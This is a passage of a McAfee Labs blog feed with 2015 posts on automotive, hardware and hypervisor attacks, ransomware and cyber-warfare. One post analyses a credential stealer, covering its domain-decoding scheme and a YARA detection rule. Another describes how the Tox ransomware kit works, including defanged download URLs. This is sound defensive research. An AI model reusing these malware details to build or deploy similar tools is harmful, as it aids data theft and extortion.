The auto industry has recognized the risks and is aggressively investing in exploring the problems. Working groups are being formed and collaboration across the industry is being established to combat this common problem. Research is being funded, bug-bounty programs established, best practices defined, and investments are being directed to both architecture improvements and creating sustainable security solutions.

Life-safety issues demand a greater focus by the public, government, and businesses. The road ahead will be filled with regulatory guardrails, incident potholes, litigation detours, and the occasional herd of startled consumers. The goal is to secure future transportation products for the safety of the public and the continued viability of the auto manufacturers. The trip ahead will likely be very interesting.

Interested in more?

McAfee Labs 2016 Threat Predictions report is now available. Download your copy for free.

Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear more about what is going on in cybersecurity.

The post Automotive Security Moves Into Cyber Realm appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/automotive-security-moves-into-cyber-realm/feed/ 0
Attackers Seek to Hack Hardware for Ultimate Control https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/attackers-seek-to-hack-hardware-for-ultimate-control/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/attackers-seek-to-hack-hardware-for-ultimate-control/#respond Wed, 20 Jan 2016 19:35:45 +0000 https://blogs.mcafee.com/?p=47060 We are seeing interesting changes in how researchers and attackers are exploring methods to undermine systems and devices. Increasingly, the focus is on the hardware. Vulnerability and exploit research is accelerating across the board with better tools, greater funding, and improved methods. As a result, more potential avenues of attack are being discovered and developed […]

The post Attackers Seek to Hack Hardware for Ultimate Control appeared first on McAfee Blogs.

]]>
TouchWe are seeing interesting changes in how researchers and attackers are exploring methods to undermine systems and devices. Increasingly, the focus is on the hardware.

Vulnerability and exploit research is accelerating across the board with better tools, greater funding, and improved methods. As a result, more potential avenues of attack are being discovered and developed for hardware and the firmware that controls it.

Although it is difficult to exploit hardware, the interest in doing so continues to increase. The reason is simple: It is about control.

As security of software becomes more robust, attackers are looking in other areas for more powerful means to control systems. Hardware and firmware have a distinct advantage over software.

Modern computers are like a layered cake. Data is at the top, resting on software, virtual environments, operating systems, and finally firmware and hardware at the foundation. The lower you can access this technology stack, the more control you achieve over the system.Stack

There is an adage in cybersecurity: physical access trumps all. If attackers can get their hands on a computer and its components, they have an excellent chance of compromising the system. With control of hardware and firmware, attackers can mirror the system, install tools, swap elements, copy raw data, and test the system in a variety of ways. Such fundamental control can undermine the core trust of the device.

In theory, hacking hardware remotely can give similar advantages to attackers. Hardware attacks are incredibly difficult but ultimately very powerful if successful. They can bypass almost all security controls and detection capabilities rooted in software as well as remain persistent, resisting actions to evict and restore normal trust. Most modern security resides in software. Nowadays, applications and operating systems are the heavyweights and do most of the work to protect systems. Off-the-shelf security software is really just an application; many have special hooks to bind closer with the operating system. But they have limitations because they reside in the same layer as most of the attacks. Hardware and virtual environments residing underneath have a greater understanding of what is occurring above them and can significantly affect the visibility and capabilities of such protective software.

Controlling the hardware is a key advantage. For this reason, researchers and attackers will continue to accelerate their investment in undermining hardware and devices. Controlling hardware is difficult, however. It takes very particular expertise, patience, and time. Many attackers lack such characteristics, but a growing community of professional researchers, academia, nation-states, and organized criminals are willing to commit to the investment, driven by a variety of motivations.

In 2016 we will see more research, with some vulnerabilities discovered, but largely hardware hacking will remain outside the reach of most attackers. Hardware and device hacking will become even more prevalent with the growth of the Internet of Things—devices, sensors, appliances, and vehicles—but will also occur across the traditional landscape of PCs, networking equipment, and servers.

Hardware is the final frontier for those seeking to undermine security, and is the root of trust for those wishing to defend it. This is a battle for a prize that we, in the technology security industry, will be talking about for years to come.

 

The post Attackers Seek to Hack Hardware for Ultimate Control appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/attackers-seek-to-hack-hardware-for-ultimate-control/feed/ 0
The Hidden Costs of Cyber Attacks https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/hidden-costs-cyber-attacks/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/hidden-costs-cyber-attacks/#respond Tue, 24 Nov 2015 21:21:01 +0000 https://blogs.mcafee.com/?p=46363 The real costs of cyber attacks are difficult to understand. The impacts of cybersecurity are terribly challenging to measure, which creates significant problems for organizations seeking to optimize their risk posture. To properly prioritize security investments, it is crucial to understand the overall risk of loss. Although managing security is complex, the principles of determining […]

The post The Hidden Costs of Cyber Attacks appeared first on McAfee Blogs.

]]>
The real costs of cyber attacks are difficult to understand. The impacts of cybersecurity are terribly challenging to measure, which creates significant problems for organizations seeking to optimize their risk posture. To properly prioritize security investments, it is crucial to understand the overall risk of loss.

Pic 1

Although managing security is complex, the principles of determining value are relatively straightforward. Every organization, small to large, wants to avoid more loss than the amount of money they spend on security. If, for example, a thief is stealing $10 from you and protection from the theft is $20, then you are left with an economic imbalance in which security costs more than the risk of loss. This is obviously not desirable. If, however, the thief is stealing $100 and the protection still costs only $20, then there is a clear economic benefit, a net gain of $80. The same principle scales to even the most complex organization regardless of the type of loss, whether it be downtime, competitiveness, reputation, or loss of assets.

Without knowing the overall impacts, value calculations are near impossible, which leaves the return on investment (ROI) a vague assumption at best. Possessing a better picture of the costs and the risk of loss is key to understanding the value of investments that reduce such unpleasant ambiguity.

The bad news: Cybersecurity is complex and the damages and opportunity costs are difficult to quantify. So we do what we can, with what we have, and attempt to apply a common-sense filter as a sanity check. But a lack of proficiency leads to inaccuracy, which can result in unfavorable security investments. For example, in early 2015 the FBI estimated the impact of the CryptoWall ransomware by adding up all the complaints submitted to the Internet Crime Complaint Center (IC3). The complaints and reported losses for CryptoWall totaled more than $18 million. At the time, the estimate seemed reasonable, even sizable, given it was a single piece of malware causing so much damage.

The experts, myself included, were wrong. We lacked comprehensive data and similar examples for comparison. In this case, the methodology was not comprehensive and everyone knew it. Not every person being extorted would report their woes to IC3. We all expected an underestimate based upon this model, but we could not do the mental math necessary to generate a more accurate figure. So we held to the data we had. In reality, the estimate was off by more than an order of magnitude.

Pic 2

Just a few months later, the Cyber Threat Alliance released a CryptoWall report. The CTA tracked the actual money flowing from the malware to Bitcoin wallets, the payment mechanism used by the criminals for victims to pay the ransom. One benefit of cryptocurrencies is that the transactions are public, even though the identities of the parties are obscured. The CTA’s analysis shows, thanks to the public nature of the blockchain transactions, that CryptoWall was earning $325 million.

That is a huge difference! From believing $18 million in damages to having superior data showing $325 million in paid ransoms is a great improvement in understanding. The accurate figure provides a much clearer portrait of the problem and gives people better data to decide the value of security measures. But we must still recognize this is not the full story. Although the CTA did a great job of showing the ill-gotten gains of the ransomware campaign, the report still falls short of the even larger realization of loss and impact. The analysis does not capture the harm to those who chose not to pay, the amount of time and frustration every infected person experienced, costs to recover from the attacks and prevent similar future malware infections, and the loss of business, trust, and productivity due to the operational impairments. There are far more pieces to the puzzle to assemble if we are to comprehend the total loss.

It all comes back to value. If a clearer understanding of the total loss and impact were consistently available, would people and organizations invest in more effective security? Perhaps, but maybe not. Regardless, a clearer understanding would give everyone better information to make informed choices. Managing risk is about making good decisions and finding the optimal level of security. Absent a realistic picture of the overall detriments, the community cannot hope to properly weigh their options in a logical way. The shortfall in measuring CrytpoWall’s impact is just one droplet in a sea of examples in which analysts struggle to find the hidden costs of cyber attacks. Multiply these accounting misperceptions across the entire cyber ecosystem and we find ourselves standing on a huge iceberg, worried only about what is on the surface.

In cybersecurity we must question what we believe. It is almost a certainty that we are severely underestimating the overall impact and costs of cyber attacks at a macro scale. If this is true, then our response and investment are also insufficient at the same scale. The industry must uncover the true hidden costs in order to justify the right level of security and strategic direction. Only then will cybersecurity achieve effectiveness and sustainability.

The post The Hidden Costs of Cyber Attacks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/hidden-costs-cyber-attacks/feed/ 0
2016 Cybersecurity Predictions Report Examines Growth in Integrity Attacks https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/2016-cybersecurity-predictions-report-examines-growth-integrity-attacks/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/2016-cybersecurity-predictions-report-examines-growth-integrity-attacks/#respond Tue, 10 Nov 2015 20:18:42 +0000 https://blogs.mcafee.com/?p=46115 Cybersecurity changes rapidly. Those with valuable insights can better prepare for the shifting risks and opportunities. McAfee has just released the McAfee Labs 2016 Threats Predictions, a report covering both cybersecurity predictions for the coming year as well as a five-year look forward at the changing security field. Collectively, the report paints a picture of a growing technology […]

The post 2016 Cybersecurity Predictions Report Examines Growth in Integrity Attacks appeared first on McAfee Blogs.

]]>
Cybersecurity changes rapidly. Those with valuable insights can better prepare for the shifting risks and opportunities. McAfee has just released the McAfee Labs 2016 Threats Predictions, a report covering both cybersecurity predictions for the coming year as well as a five-year look forward at the changing security field. Collectively, the report paints a picture of a growing technology landscape and the attackers who are maneuvering for an unfair advantage at the expense of others.

I am honored to have contributed to this year’s exercise, collaborating with a stellar group of experienced security experts. Many of the predictions are logical extensions of current attacks, newsworthy events, or tied closely to the growth of technology.

One prediction in particular may surprise people. The growth of integrity attacks could be the unexpected shift that will fuel significant change in perspectives, expectations, and controls.

Unlike denial-of-service attacks, which undermine the availability of entire systems, or data breaches, which steal confidential data, integrity attacks maliciously modify data or transactions.

We have seen a number of cases in which attackers with financial motivations are undermining the integrity of data for their benefit. These types of attacks can be very selective and discrete, making them extremely difficult to detect, prevent, and correct. Perhaps most important, such maneuvers have generated an unexpectedly shocking amount of loss and victims angst.

Banking infrastructure malware Carbanak, which was discovered in 2015, infected banks and selectively modified systems to create a small number of fraudulent transactions that fleeced hundreds of millions of dollars in a single coordinated campaign.

In separate attacks, business victims have seen their email systems tampered with. Fraudulent messages crafted from executives’ accounts to accounts-payable departments instructed money transfers to be made immediately to a third party. These messages were not actually from the executives, but rather from attackers who were able to gain administrative access to the communication tools and use them to send funds to entities they controlled.

Crypto-based ransomware is another example of an integrity attack. Consumers, businesses, and even government agencies have been victimized, with selected files of infected systems encrypted by the attackers and held for ransom. The Cyber Threat Alliance, which includes McAfee, recently published a detailed analysis showing how one such ransomware, CryptoWall, is responsible for taking a staggering $325 million from its victims.

Attacks designed to undermine the integrity of systems and data tend to create emotional distress in victims as they suffer from being targeted in a very personal way. Their family pictures are held for ransom, emails with their addresses are forged, and select transactions from their companies are tampered with. From a security perspective, the current generation of tools is not designed or optimized to protect from such attacks. The resulting impacts may be enough to fundamentally change opinions and expectations of security.

Overall, we at McAfee believe integrity-based attacks will continue to rise in 2016 and beyond, as they are proving lucrative for attackers and troublesome for defenders.

To protect technology, users, data, and digital services, we all must understand the challenges we will face in the future. Download the free report and gain the insights of experts at McAfee.

 

 

 

The post 2016 Cybersecurity Predictions Report Examines Growth in Integrity Attacks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/2016-cybersecurity-predictions-report-examines-growth-integrity-attacks/feed/ 0
Beware the Rapid Proliferation of Cyber-warfare Capabilities https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/beware-rapid-proliferation-cyber-warfare-capabilities/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/beware-rapid-proliferation-cyber-warfare-capabilities/#respond Fri, 06 Nov 2015 19:19:16 +0000 https://blogs.mcafee.com/?p=46030 Governments across the globe continue to invest in cyber warfare operations.   Over 60 countries, a number that is rising, currently have some mechanism to play in the digital warfare and intelligence gathering game.  This posturing has a very real consequence to everyday individuals and businesses. The global arms race has begun and it is not […]

The post Beware the Rapid Proliferation of Cyber-warfare Capabilities appeared first on McAfee Blogs.

]]>
Governments across the globe continue to invest in cyber warfare operations.   Over 60 countries, a number that is rising, currently have some mechanism to play in the digital warfare and intelligence gathering game.  This posturing has a very real consequence to everyday individuals and businesses.

The global arms race has begun and it is not limited to just world powers.  For countries with less resources, cyber warfare holds the lure of being a great equalizer, where they can compete on a larger stage where factors such as size or geographical location are less important.  Most countries see it as a necessity for continuing intelligence-gathering activities.  Knowing what other countries are up to, both friend and foe alike, reduces the chance of unpleasant surprises.  For an elite few, who seek to operationalize and integrate the military capabilities, it is a natural extension of national policy, complementing options like weapon sales, economic influence, or deployment of military forces around the globe as part of force projection.  No matter the reason, the world is in a cyber-arms race.  But this race is far different than the escalation of traditional weapons.  Unlike conventional arsenals, software and code are ethereal.  Once released to the Internet or deployed against a target, they can be easily captured, transferred, reverse engineered, and duplicated.  The tools may very well fall into the hands of criminals or other attackers, to be mass-produced and then used against everyday people and businesses.

The Wall Street Journal published a pair of great articles, which highlight the rapid proliferation of worldwide government cyber-warfare capabilities.  The first, Cataloging the World’s Cyberforces (may require subscription), outlines the more than 60 countries which are developing such weapons.  The second, Cyberwar Ignites a New Arms Race (may require subscription) speaks to the technology escalation, which is emerging to dominate the cyber battlefield.  With the intensity and investment growing, it is inevitable to spill over into the normal world where we all digitally exist.

The Journal’s research shows:

29 countries have formal cyber offensive military or intelligence teams

49 countries purchase offensive cyber tools

63 countries leverage tools for either foreign or domestic surveillance

These articles highlight the professional military side of cybersecurity.  More and more the gap is growing between government and civilian capabilities in the world of cyber.  With the tremendous financial, intellectual, and human-resource investments, military organizations will have a solid set of combined capabilities.  Structures are maturing quickly with budgets now in the billions of dollars and entire career paths defined to ensure sustainable operational stability.  Cyber is now the fifth operational domain, joining land, air, sea, and space warfare.

The major difference in this arms race is the cascade effects of weapons which leads to unintended consequences.  Once a cyber-weapon is unleashed, the world can grab it and reverse-engineer it to use exploit code, identify previously unknown vulnerabilities, and mimic innovative ways to remain stealthy and persistent.  If it is made widely available, which is a normal occurrence, then everyone, even down to the lowly script-kiddie, can use the pieces for their twisted purposes.  We have seen this in the past, where parts of professional grade code were harvested and reused in other malware.  So the risk is great that at the very least, elements of military grade cyberweapons will eventually filter down to criminals and other malicious parties and turned against businesses, civilians, and other targets.  This is the unintentional consequence to digital warfare.

The question remains, will governments deploy them, knowing their creations might eventually be used to the detriment of innocent targets and critical infrastructures?  That decision, just like any offensive maneuver, is made based upon the evaluation of value, risks, and consequences for any given situation.  I would argue these investments are being made for a number of reasons with the overall intent of being used to gain an advantage.  As John Paul Jones famously said, “It seems to be a law of nature, inflexible and inexorable, that those who will not risk cannot win.”  For governments, it is their job to protect an entire nation, its people, interests, and allies.  No easy task.  Many are investing in cyber as a means of conducting surveillance, to deface or persuade others, and cause directed damage.  This is just the beginning of the digital arms race, where the rules of engagement are not yet codified.

The last time I spoke to the government types, I made one recommendation abundantly clear.  “Anytime you choose to make a cyberweapon, you better make the antidote at the same time.  For it will be captured, reverse-engineered, and turned against its creators, their allies, and other bystanders.  Be prepared.  Predict it will happen and know how to detect, prevent, and respond when it come back to haunt you and the rest of the world.”  The message continues to hold true.  It is a brave new world where cybersecurity professionals defending civilian organizations will find the challenges to grow quickly as nation-states become more advanced.  It is just the nature of things.

Offensive cyber is changing the security industry. As security professionals, tasked to protect individuals, businesses, and infrastructures, we must all be cognizant of the actions of these nation-states.  What they develop today, may trickle down and find its way as a problem in our cybersecurity world tomorrow.  It is tough enough to maintain parity with everyday hackers and organized criminals.  Superweapons, created or funded with obscene resources by governments, would challenge even the most elite security operations team on their best day.  As professionals, we must understand and be ready as the cyber arms race continues to escalate, as it will significantly change the equilibrium of computer security.

The post Beware the Rapid Proliferation of Cyber-warfare Capabilities appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/beware-rapid-proliferation-cyber-warfare-capabilities/feed/ 0
Vulnerable From Below: Attacking Hypervisors Using Firmware And Hardware https://securingtomorrow.mcafee.com/other-blogs/executive-perspectives/vulnerable-from-below-attacking-hypervisors-using-firmware-and-hardware/ https://securingtomorrow.mcafee.com/other-blogs/executive-perspectives/vulnerable-from-below-attacking-hypervisors-using-firmware-and-hardware/#respond Fri, 21 Aug 2015 17:00:09 +0000 https://blogs.mcafee.com/?p=44947 Malicious attacks with firmware privileges can compromise an entire system, so it is especially important to apply measures to reduce the risks. Breaking hypervisor isolation and attacking — or exploiting — neighbouring virtual machines is a prominent goal of cyber criminals. At the Black Hat USA 2015 and DEF CON 23 conferences, a group of […]

The post Vulnerable From Below: Attacking Hypervisors Using Firmware And Hardware appeared first on McAfee Blogs.

]]>
Malicious attacks with firmware privileges can compromise an entire system, so it is especially important to apply measures to reduce the risks.

Breaking hypervisor isolation and attacking — or exploiting — neighbouring virtual machines is a prominent goal of cyber criminals. At the Black Hat USA 2015 and DEF CON 23 conferences, a group of McAfee researchers from the Advanced Threat Research team demonstrated that some hypervisors are vulnerable to attacks through system firmware launched from administrative guests. These attacks led to successful installation of a rootkit in the system firmware (such as BIOS), privilege escalation to the hypervisor privileges, and exposure of hypervisor memory contents.

Hypervisors employ a range of techniques to isolate software and I/O devices, block escapes from any compromised virtual machine to any other virtual machine, and protect each virtual machine’s secrets from the others, including their operating systems. However, these protections fall short when the physical machine system firmware is infected with a rootkit or when a compromised virtual machine is able to exploit vulnerabilities in the firmware.

In this case, the firmware rootkit was installed by reflashing the system firmware while it wasn’t adequately protected in non-volatile flash memory. Physical access controls should prevent this in some cases. However, the research also demonstrated that the rootkit could be installed from within privileged guests on the machines with inadequately write protected firmware. Our research demonstrated that a rootkit can open a backdoor for an attacker to access the memory contents of all other virtual machines by adding entries to the hardware-assisted page tables and mapping all of DRAM to the attacker’s guest address space. The attacker can then access the active memory of all the other virtual machines on this host and harvest data at will.

Solutions And Exploits

The obvious solution is to increase protection on firmware in flash memory. However, our research also demonstrated that an attacker can exploit other vulnerabilities if the hypervisor allows direct access to the firmware interfaces. For example, we comprised the hypervisor using the resume boot script table in memory that runs when a machine resumes from a sleep state (S3). From a privileged guest, this critical script table structure was changed to access the hypervisor memory spaces. We have published a whitepaper covering the technical details of this S3 resume boot script vulnerability, which has also been independently discovered and discussed by other researchers. In another example, we passed a bad input pointer to the run-time firmware executing in system management mode (SMM) to exploit a vulnerability and inject malicious instructions into this protected area.

In both examples, the attacker first had to exploit some vulnerability in the system firmware of the physical machine such as the SMI handler or BIOS, and then run malicious code with firmware privileges to attack the hypervisor. However, each interface to the firmware that is directly accessible to a virtual machine provides an additional attack vector. Hypervisors can minimize this risk and reduce their attack surface by removing unnecessary guest access to the firmware interfaces and memory locations. Hypervisors can also monitor and proxy interfaces that need to be exposed to the guests and, if possible, apply strict policies on the data passed through them.

Malicious attacks with firmware privileges can compromise the entire system, so it is especially important to apply measures to reduce the risk to applications, software services, and the operating system. You can test your system firmware with available tools such as the open source CHIPSECframework, which tests for many known vulnerabilities, including the attacks described here. To enable further security testing, we will shortly be releasing new functionality in the CHIPSEC framework to test how hypervisors emulate various hardware interfaces.

View the original post on Dark Reading.

The post Vulnerable From Below: Attacking Hypervisors Using Firmware And Hardware appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/executive-perspectives/vulnerable-from-below-attacking-hypervisors-using-firmware-and-hardware/feed/ 0
McAfee Labs Threats Report Highlights Surge in Ransomware, Flash Exploits, Firmware Attacks https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-highlights-surge-in-ransomware-flash-exploits-firmware-attacks/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-highlights-surge-in-ransomware-flash-exploits-firmware-attacks/#respond Tue, 09 Jun 2015 04:01:59 +0000 https://blogs.mcafee.com/?p=43819 This blog post was written by Rick Simon. McAfee today released the McAfee Labs Threats Report: May 2015. Along with the usual compilation of threats statistics, it focuses on three key topics: A surge in powerful and clever ransomware that encrypts files and holds them hostage until the ransom is paid. New Adobe Flash exploits […]

The post McAfee Labs Threats Report Highlights Surge in Ransomware, Flash Exploits, Firmware Attacks appeared first on McAfee Blogs.

]]>
This blog post was written by Rick Simon.

McAfee today released the McAfee Labs Threats Report: May 2015. Along with the usual compilation of threats statistics, it focuses on three key topics:

  • A surge in powerful and clever ransomware that encrypts files and holds them hostage until the ransom is paid.
  • New Adobe Flash exploits target the growing number of vulnerabilities that have not been patched by users or enterprises.
  • Persistent and virtually undetectable attacks by the Equation Group that reprogram hard disk drives and solid state drive firmware.

 

The Equation Group: exploiting hard disk and solid state drive firmware

In February, news broke about a rare but extremely sophisticated attack campaign. The “Equation Group,” named for their affinity for complex encryption schemes, is thought to be behind the attacks. The most alarming discovery is that the Equation Group’s malware includes hard disk drive and solid state drive reprogramming modules. Once reprogrammed, a compromised system remains infected even if the hard drive is reformatted or the operating system is reinstalled. Further, the reprogrammed firmware and associated malware are undetectable by security software. This marks the first time in a Threats Report that McAfee Labs has examined a firmware-based attack.

We also focus on two familiar faces—ransomware and Adobe Flash exploits—because McAfee Labs saw massive increases in new samples this quarter from both types of threat.

 

Ransomware returns: new families emerge with a vengeance

For ransomware, we attribute much of its growth to a new, hard-to-detect ransomware family—CTB-Locker—and its use of an “affiliate” program to quickly flood the market with phishing campaigns, leading to CTB-Locker infections. With the newly discovered Tox malware, an off-the-shelf application that lets users build their own ransomware, we expect ransomware to continue its meteoric rise.

 

Adobe Flash: a favorite of designers and cybercriminals

McAfee Labs attributes the rise in Flash exploits to the steady increase in the number of Flash vulnerabilities; user and enterprise delay in the application of software patches for those vulnerabilities; new, creative methods to exploit them; a steep increase in the number of mobile devices that can play Flash .swf files; and the difficulty of detecting Flash exploits.

Enterprise delay in patching software was highlighted in a recent report from NopSec. NopSec cross-correlated data from the National Vulnerability Database’s CVE system, which documents known vulnerabilities, with data from their own customers’ environments. They found that the fastest average time to remediation was 50 days in the case of cloud providers. For financial services providers, the average time to remediation was an astounding 176 days. Unpatched vulnerabilities represent an incredible window of opportunity for cybercriminals.

The post McAfee Labs Threats Report Highlights Surge in Ransomware, Flash Exploits, Firmware Attacks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-highlights-surge-in-ransomware-flash-exploits-firmware-attacks/feed/ 0
When Hackers Get Hacked: the Malware Servers of a Data-Stealing Campaign https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/when-hackers-get-hacked-the-malware-servers-of-a-data-stealing-campaign/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/when-hackers-get-hacked-the-malware-servers-of-a-data-stealing-campaign/#comments Fri, 29 May 2015 18:28:10 +0000 https://blogs.mcafee.com/?p=43568 Selling stolen data is an easy way for cybercriminals to make some quick money on cyber black markets. The following flowchart shows a generic credential-stealing campaign in action. In the last step, the flow is bidirectional. The malware makes a two-way authentication-free connection between the victim and the attacker. This two way connection not only […]

The post When Hackers Get Hacked: the Malware Servers of a Data-Stealing Campaign appeared first on McAfee Blogs.

]]>
Selling stolen data is an easy way for cybercriminals to make some quick money on cyber black markets.

The following flowchart shows a generic credential-stealing campaign in action. In the last step, the flow is bidirectional. The malware makes a two-way authentication-free connection between the victim and the attacker.

q1


This two way connection not only seamlessly delivers the stolen data to malware servers, but it also makes sure the malware can communicate with the infected system and remotely execute commands. However, one major flaw with this approach is that in addition to the malware author reaching the victim, an aware “victim”–such as a honeypot or a malware researcher–can make use of this connection to access and hack the malware author’s server.

Let’s look at a similar case: McAfee Labs found a bunch of malware samples connecting to a site hosted on third-party domain provider “z********.esy.es.” Some of the hashes had a fresh compilation timestamp, suggesting that the malware samples were created very recently. The following picture shows one of the recent compile dates:

q2

The malware author uses fancy encryption schemes to conceal the control server that holds the stolen data. Here is a section of the decryption loop module:

q3

After reversing the binary, we found that the malware uses the following function F(x) to conceal the domain:

F(x) = A(key1[i]) XOR B(A(key2[i])) > B(A(key2[i-1])) ? A(key1[i]) XOR B(A(key2[i])) – B(A(key2[i-1])) : (A(key1[i]) XOR B(A(key2[i])) + 0xff) – B(A(key2[i-1]))

In which A(x) is a function to remove zeroes from unicode, B(x) is a function to convert hex data to a string by clubbing two numbers to form a byte, Key1[] and Key2[] are two buffers of hardcoded keys, and “i” is a counter that starts from 1 and increments with each iteration.

To illustrate, let’s decrypt “3” of the address from the key values, assuming the loop has already run I times.

Key1[] = 42 00 56 00

 q4

 

A(Key1[]) = 42 56 ( Unicode removed )

So A[Key1[i]) = 42

A(Key2[]) = 44 30 34 36 ( Unicode removed )

B(A[Key2[]) = D046 i.e. D0 46 ( String conversion followed by hex)

B(A[Key2[i-1] = D0

B(A[Key2[i] = 46

 

(key1[i]) XOR B(A(key2[i])) = 42 xor 46 = 04

B(A(key2[i-1])) = D0

 04 > D0 is False, so output will be second condition.

So f(x) = (04 + ff )- d0 = 33 .

0x33 = “3” i.e., the 3 of “z********.esy.es”

The preceding calculations illustrate one iteration, by looping the functions over and over, we come across the whole decrypted url: z********.esy.es.

This looks a good effort from the malware author to conceal the attack from static analysis, but when we take the behavioral approach we can see that all hashes are continuously connecting to the malware-specific site. The connection shows the malware was hosted on the third-party domain Hostinger. Using a third-party site is convenient for malware authors, who can periodically change the domain names and remain concealed. The following is an overview of the domain, hosting, and ASN information:

q5-1024x645

 

When we connected to the control server, we were surprised to see a number of dumped logs, each representing a compromised user:

q6

Each log gives a list of credentials of various accounts. Most victims have opened sites related to Brazil and the malware author uses Portuguese on his server.

q7

Following is a snippet of leaked account data:

q8

 

Here is a YARA rule to identify this campaign:

 rule CredStealESY : For CredStealer

{

 meta:

description = “Generic Rule to detect the CredStealer Malware”

author = “IsecG – McAfee Labs”

date = “2015/05/08”

strings:

$my_hex_string = “CurrentControlSet\\Control\\Keyboard Layouts\\” wide //malware trying to get keyboard layout

$my_hex_string2 = {89 45 E8 3B 7D E8 7C 0F 8B 45 E8 05 FF 00 00 00 2B C7 89 45 E8} //specific decryption module

 condition:

$my_hex_string and $my_hex_string2

}

McAfee Labs has contacted the authorities to take action against this website and its author.

McAfee customers are already protected from this threat via DAT signature CredSteal-ESY!

McAfee website reputation software flags this site and raises a trigger to make sure customers do not land on this page.

q9

Special thanks to my colleague Christiaan Beek for his invaluable input.

The post When Hackers Get Hacked: the Malware Servers of a Data-Stealing Campaign appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/when-hackers-get-hacked-the-malware-servers-of-a-data-stealing-campaign/feed/ 1
Meet ‘Tox’: Ransomware for the Rest of Us https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/meet-tox-ransomware-for-the-rest-of-us/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/meet-tox-ransomware-for-the-rest-of-us/#comments Sun, 24 May 2015 02:09:02 +0000 https://blogs.mcafee.com/?p=43499 The packaging of malware and malware-construction kits for cybercrime “consumers” has been a long-running trend. Various turnkey kits that cover remote access plus botnet plus stealth functions are available just about anywhere. Ransomware, though very prevalent, has not yet appeared in force in easy-to-deploy kits. But now we have Tox–and it’s free.       […]

The post Meet ‘Tox’: Ransomware for the Rest of Us appeared first on McAfee Blogs.

]]>
The packaging of malware and malware-construction kits for cybercrime “consumers” has been a long-running trend. Various turnkey kits that cover remote access plus botnet plus stealth functions are available just about anywhere. Ransomware, though very prevalent, has not yet appeared in force in easy-to-deploy kits.

But now we have Tox–and it’s free.

toxlogo

 

 

 

While sifting though our stream of “dark web” data, McAfee Labs found Tox on May 19. It was updated on May 21 with a new FAQ and an updated design. But the core did not change.

tox2_1

 

Salient Points:

  • Tox is free. You just have to register on the site.
  • Tox is dependent on TOR and Bitcoin. That allows for some degree of anonymity.
  • The malware works as advertised.
  • Out of the gate, the standard of antimalware evasion is fairly high, meaning the malware’s targets would need additional controls in place (HIPS, whitelisting, sandboxing) to catch or prevent this.

Once you register for the product, you can create your malware in three simple steps.

  • Enter the ransom amount. (The site takes 20% of the ransom.)
  • Enter your “cause.”
  • Submit the captcha.

TOX_config_screen1

 

tox2_2

This process creates an executable of about 2MB that is disguised as a .scr file. Then the Tox “customers” distribute and install as they see fit. The Tox site (on the TOR network) will track the installs and profit. To withdraw funds, you need only supply a receiving Bitcoin address.

TOX_download_virus_file

Upon execution, the malware encrypts the victims’ data and prompts them for the ransom, including the Bitcoin address for sending payment.

TOX_client_exe_1

 

TOX_client_encrypting

 

TOX_client_encrypt_message_1

 

Technical Information

Although easy to use and functional, the malware appears to lack complexity and efficiency within the code.

pe_sections.JPG
Tox malware portable executable sections.

The developer has left several identifying strings within the code. Examples:

  • C:/Users/Swogo/Desktop/work/tox/cryptopp/secblock.h
  • C:/Users/Swogo/Desktop/work/tox/cryptopp/filters.h
  • C:/Users/Swogo/Desktop/work/tox/cryptopp/cryptlib.h
  • C:/Users/Swogo/Desktop/work/tox/cryptopp/simple.h

Tox-generated malware is compiled in MinGW and uses AES to encrypt client files via the Crypto++ library.  The Microsoft CryptoAPI is used for key generation.

 

Network Information

The malware first downloads Curl and the TOR client:

  • hxxp://www.paehl.com/open_source/?download=curl_742_1.zip
  • hxxp://dist.torproject.org/torbrowser/4.5.1/tor-win32-0.2.6.7.zip

All downloaded files and artifacts are stored in the following path:

  • C:\Users\<username>\AppData\Roaming\

After execution, Tox will start TOR in SOCKS5 proxy mode with the following command-line parameters:

-socks5-hostname 127.0.0.1:9050 –data \

C&C_send.JPG

We don’t expect Tox to be the last malware to embrace this model. We also anticipate more skilled development and variations in encryption and evasion techniques.

The post Meet ‘Tox’: Ransomware for the Rest of Us appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/meet-tox-ransomware-for-the-rest-of-us/feed/ 1
Understanding the Scope of Venom (CVE-2015-3456) https://securingtomorrow.mcafee.com/business/understanding-scope-venom-cve-2015-3456/ https://securingtomorrow.mcafee.com/business/understanding-scope-venom-cve-2015-3456/#respond Tue, 19 May 2015 19:53:10 +0000 https://blogs.mcafee.com/?p=43373 In recent days, much has been said and written around the recently disclosed “Venom” vulnerability. It is important to fully understand the real-world severity of vulnerabilities such as Venom. Although the threat is potentially severe and certainly interesting (it is in a class of relatively rare guest escapes from virtual machines), one has to take into […]

The post Understanding the Scope of Venom (CVE-2015-3456) appeared first on McAfee Blogs.

]]>
